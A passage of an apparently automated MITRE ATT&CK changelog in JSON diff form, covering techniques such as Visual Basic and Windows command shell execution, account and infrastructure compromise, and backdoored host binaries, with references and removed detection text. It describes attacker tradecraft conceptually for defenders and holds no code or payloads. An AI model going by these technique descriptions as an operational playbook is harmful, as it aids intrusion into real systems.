+ "description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.",
+ "url": "https://docs.microsoft.com/office/vba/api/overview/"
+ },
+ {
+ "source_name": "VB Microsoft",
+ "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.",
+ "url": "https://docs.microsoft.com/dotnet/visual-basic/"
+ },
+ {
+ "source_name": "Wikipedia VBA",
+ "description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.",
+ "url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_remote_support": false,
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"Process: Process Creation\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.678000+00:00\", \"old_value\": \"2025-04-15 19:59:14.314000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n\\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n-\\n-Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1021: Restrict Web-Based Content",
+ "M1038: Execution Prevention",
+ "M1040: Behavior Prevention on Endpoint",
+ "M1042: Disable or Remove Feature or Program",
+ "M1049: Antivirus/Antimalware"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0012: Script (Script Execution)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0076: Behavioral Detection of Visual Basic Execution (VBS/VBA/VBScript)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-09 14:12:31.196000+00:00",
+ "modified": "2025-10-24 17:49:25.722000+00:00",
+ "name": "Windows Command Shell",
+ "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1059/003",
+ "external_id": "T1059.003"
+ },
+ {
+ "source_name": "SSH in Windows",
+ "description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_remote_support": false,
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.722000+00:00\", \"old_value\": \"2025-04-15 19:59:10.209000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n\\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n-\\n-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0202: Behavioral Detection of Windows Command Shell Execution"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:09.379000+00:00",
+ "modified": "2025-10-24 17:48:52.106000+00:00",
+ "name": "Communication Through Removable Media",
+ "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1092",
+ "external_id": "T1092"
+ },
+ {
+ "source_name": "ESET Sednit USBStealer 2014",
+ "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
+ "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Drive: Drive Creation\", \"Drive: Drive Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.106000+00:00\", \"old_value\": \"2025-04-15 22:06:39.028000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file access on removable media. Detect processes that execute when removable media is mounted.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1028: Operating System Configuration",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0016: Drive (Drive Access)",
+ "DS0016: Drive (Drive Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0090: Cross-host C2 via Removable Media Relay"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 01:17:15.965000+00:00",
+ "modified": "2025-10-24 17:49:02.015000+00:00",
+ "name": "Compromise Accounts",
+ "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1586",
+ "external_id": "T1586"
+ },
+ {
+ "source_name": "AnonHBGary",
+ "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
+ "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
+ },
+ {
+ "source_name": "Microsoft DEV-0537",
+ "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
+ "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Persona: Social Media\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.015000+00:00\", \"old_value\": \"2025-04-15 22:07:30.871000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}",
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+ "changelog_mitigations": {
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+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
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+ "changelog_detectionstrategy_detections": {
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+ "new": [
+ "DET0876: Detection of Compromise Accounts"
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+ "id": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2022-05-27 14:30:01.904000+00:00",
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+ "description": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)",
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+ "kill_chain_name": "mitre-attack",
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+ "url": "https://attack.mitre.org/techniques/T1586/003",
+ "external_id": "T1586.003"
+ },
+ {
+ "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
+ "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
+ "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
+ },
+ {
+ "source_name": "Awake Security C2 Cloud",
+ "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
+ "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
+ },
+ {
+ "source_name": "Netcraft SendGrid 2024",
+ "description": "Graham Edgecombe. (2024, February 7). Phishception \u2013 SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.",
+ "url": "https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/"
+ },
+ {
+ "source_name": "MSTIC Nobelium Oct 2021",
+ "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.",
+ "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"
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+ "source_name": "AnonHBGary",
+ "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
+ "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
+ },
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+ "source_name": "Microsoft DEV-0537",
+ "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
+ "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
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+ "Bryan Onel"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1586/001",
+ "external_id": "T1586.001"
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+ "source_name": "AnonHBGary",
+ "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
+ "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
+ },
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+ "source_name": "NEWSCASTER2014",
+ "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
+ "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
+ },
+ {
+ "source_name": "BlackHatRobinSage",
+ "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
+ "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
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+ "x_mitre_detection": "",
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+ "x_mitre_platforms": [
+ "PRE"
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+ "shared": [],
+ "new": [
+ "DET0870: Detection of Social Media Accounts"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:18:34.279000+00:00",
+ "modified": "2025-10-24 17:49:07.572000+00:00",
+ "name": "Compromise Host Software Binary",
+ "description": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nAfter modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)",
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+ "phase_name": "persistence"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1554",
+ "external_id": "T1554"
+ },
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+ "source_name": "Google Cloud Mandiant UNC3886 2024",
+ "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
+ },
+ {
+ "source_name": "Unit42 Banking Trojans Hooking 2022",
+ "description": "Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.",
+ "url": "https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n"
+ },
+ {
+ "source_name": "ESET FontOnLake Analysis 2021",
+ "description": "Vladislav Hr\u010dka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.",
+ "url": "https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf"
+ }
+ ],
+ "object_marking_refs": [
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+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "CrowdStrike Falcon OverWatch",
+ "Liran Ravich, CardinalOps",
+ "Jamie Williams (U \u03c9 U), PANW Unit 42"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "ESXi"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Deletion\", \"File: File Modification\", \"File: File Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.572000+00:00\", \"old_value\": \"2025-04-15 19:58:52.206000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \\n\\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \\n-\\n-Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.\"}}}",
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+ "changelog_datacomponent_detections": {
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+ "shared": [],
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+ "DET0336: Detect Compromise of Host Software Binaries"
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+ "dropped": []
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+ "created": "2020-10-01 00:36:30.759000+00:00",
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+ "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Adversaries may also compromise numerous machines to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services or to form a botnet.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) via [Wi-Fi Networks](https://attack.mitre.org/techniques/T1669).(Citation: Nearest Neighbor Volexity)\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1584",
+ "external_id": "T1584"
+ },
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+ "source_name": "amnesty_nso_pegasus",
+ "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.",
+ "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
+ },
+ {
+ "source_name": "Sysdig Proxyjacking",
+ "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.",
+ "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"
+ },
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+ "source_name": "FireEye DNS Hijack 2019",
+ "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.",
+ "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html"
+ },
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+ "source_name": "ICANNDomainNameHijacking",
+ "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.",
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+ "source_name": "Koczwara Beacon Hunting Sep 2021",
+ "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
+ "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
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+ "source_name": "Nearest Neighbor Volexity",
+ "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
+ "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
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+ "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
+ "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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+ "source_name": "Talos DNSpionage Nov 2018",
+ "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.",
+ "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
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+ "source_name": "NSA NCSC Turla OilRig",
+ "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
+ "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
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+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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+ "source_name": "FireEye EPS Awakens Part 2",
+ "description": "Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
+ "url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
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+ "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.",
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+ "source_name": "Imperva DDoS for Hire",
+ "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.",
+ "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/"
+ },
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+ "source_name": "Norton Botnet",
+ "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.",
